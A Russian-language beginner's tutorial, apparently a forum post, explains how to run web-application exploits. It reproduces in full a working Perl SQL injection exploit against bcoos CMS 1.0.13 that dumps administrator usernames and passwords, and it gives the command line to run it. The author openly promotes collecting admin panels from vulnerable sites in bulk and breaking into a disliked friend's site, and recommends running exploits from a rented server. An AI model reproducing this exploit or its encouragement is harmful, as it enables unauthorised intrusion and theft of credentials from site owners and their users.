Как использовать эксплоиты? Для новичков
Данная статья является пособием для новичков, в ней будет рассказано о том, как юзать эксплоиты для веб приложений.
Не знаю как сейчас обстоят дела с этой темой, но когда она была интересна мне - я не нашел никакого материала.
По сути, запуск эксплойтов вещь очень простая, все происходит по принципу "Нажал на кнопку - получил банан"
Ну а теперь переходим к самой сути, первое что тебе нужно знать, наверное это то, что такое эксплоит.
Эксплойт (англ. exploit — использовать) — это общий термин в сообществе компьютерной безопасности для обозначения фрагмента программного кода, который, используя возможности предоставляемые ошибкой, отказом или уязвимостью, ведёт к повышению привилегий или отказу в обслуживании компьютерной системы.
Для чего же они нужны? Эти експлоиты?
На самом деле все просто, вот допустим понадобилась тебе пачка админок (хотя бы штук 10) и ты не перерываешь кучу сайтов в поисках иньекци, xss и т.п. А находишь свежий эксплоит, находишь сайты на которых стоит уязвимый скрипт, запускаешь - получаешь пароли! Или ты ломаешь сайт ненавистного друга, на нем стоит популярная CMS c кучей модулей, попробуй-ка найди багу
Проще найти эксплоит и заюзать!
Я буду говорить только об удаленных эксплоитах. Это означает то, что вы не должны иметь доступ к компьютеру чтобы воспользоваться эксплоитом.
Эксплоиты в большинстве своем пишутся на таких языках как СИ и Perl (но есть и на множестве других, PHP например). Их можно найти на сайтах securitylab.ru(рус.), milw0rm.com(англ.).
Как же использовать этих "зверюшек"? На самом деле все очень просто, достаточно скачать нужный тебе эксплоит и запустить с требуемыми параметрами! Давай потренируемся? В виде подопытного кролика будем использовать CMS bcoos версии 1.0.13.
Вот код самого эксплоита:
#!/usr/bin/perl -w #============================================ # bcoos 1.0.13 Remote SQL Injection Exploit #============================================ # # ,--^----------,--------,-----,-------^--, # | ||||||||| '--------' | O .. CWH Underground Hacking Team .. # '+---------------------------^----------| # '\_,-------, _________________________| # / XXXXXX /'| / # / XXXXXX / '\ / # / XXXXXX /\______( # / XXXXXX / # / XXXXXX / # (________( # '------' # #AUTHOR : CWH Underground #DATE : 1 December 2008 #SITE : cwh.citec.us # # ##################################################### #APPLICATION : bcoos #VERSION : 1.0.13 (Prior versions also maybe affected) #VENDOR : http://www.bcoos.net/ #DOWNLOAD : http://www.bcoos.net/modules/mydownloads/cache/files/bcoos1.0.13.zip ###################################################### # #Note: magic_quotes_gpc = off #Addresses Modules Must be Installed # ################################################################################ ####### #Greetz : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK #Special Thx : asylu3, str0ke, citec.us, milw0rm.com ################################################################################ ####### use LWP::UserAgent; use HTTP::Request; if ($#ARGV+1 != 2) { print "\n==============================================\n"; print " Bcoos Remote SQL Injection Exploit \n"; print " \n"; print " Discovered By CWH Underground \n"; print "==============================================\n"; print " \n"; print " ,--^----------,--------,-----,-------^--, \n"; print " | ||||||||| '--------' | O \n"; print " '+---------------------------^----------| \n"; print " '\_,-------, _________________________| \n"; print " / XXXXXX /'| / \n"; print " / XXXXXX / '\ / \n"; print " / XXXXXX /\______( \n"; print " / XXXXXX / \n"; print " / XXXXXX / .. CWH Underground Hacking Team .. \n"; print " (________( \n"; print " '------' \n"; print " \n"; print "Usage : ./xpl.pl <Target> <Data Limit>\n"; print "Example: ./xpl.pl http://www.target.com/bcoos 10\n"; exit(); } $target = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0]: 'http://' . $ARGV[0]; $number = $ARGV[1]; print "\n++++++++++++++++++++++++++++++++++++++++++++++++++++++"; print "\n ..:: SQL Injection Exploit By CWH Underground ::.. "; print "\n++++++++++++++++++++++++++++++++++++++++++++++++++++++\n"; print "\n[+]Dump Username and Password\n"; for ($start=0;$start<$number;$start++) { $xpl = LWP::UserAgent->new() or die "Could not initialize browser\n"; $req = HTTP::Request->new(GET => $target."/modules/adresses/viewcat.php?cid=1%27+and+1=2+union+select+1,concat(0x3a3a3a,uname,0x3a3a,pass,0x3a3a3a)+from+bcoos_users+limit+1+offset+".$start."--+and+1=1")or die "Failed to Connect, Try again!\n"; $res = $xpl->request($req); $info = $res->content; $count=$start+1; if ($info =~ /:::(.+):::/) { $dump=$1; ($username,$password)= split('::',$dump); printf "\n [$count]\n [!]Username = $username \n [!]Password = $password\n"; } else { print "\n [*]Exploit Done !!" or die "\n [*]Exploit Failed !!\n"; exit; } }
Все кто знаком с Perl сразу поймут что делает этот код, те-же кто знаком с другими языками, скорее всего догадаются.
Если-же ты не знаешь ни одного ЯП, то объясняю что делает этот код. Он запрашивает у тебя параметры (в данном случае URL и таймаут), проходи по линку (добавляя туда собственно говоря саму SQL injection), парсит страничку на наличие логина/пароля администратора и выдает тебе! Это все! Как видишь ничего сложного!
Также как и с другими эксплоитами. А вот для запуска, тебе необходим интерпретатор Perl (лучше конечно использовать дедик, где установлены множество компиляторов/интерпретаторов, ведь эксплоиты могу быть написаны на разных языках, а ставить к себе на машину весь этот "груз" не самый замечательный вариант!). Запускается эксплоит очень легко!
perl exploit_name.pl url timeout
Вот и все! У тебя на руках пароль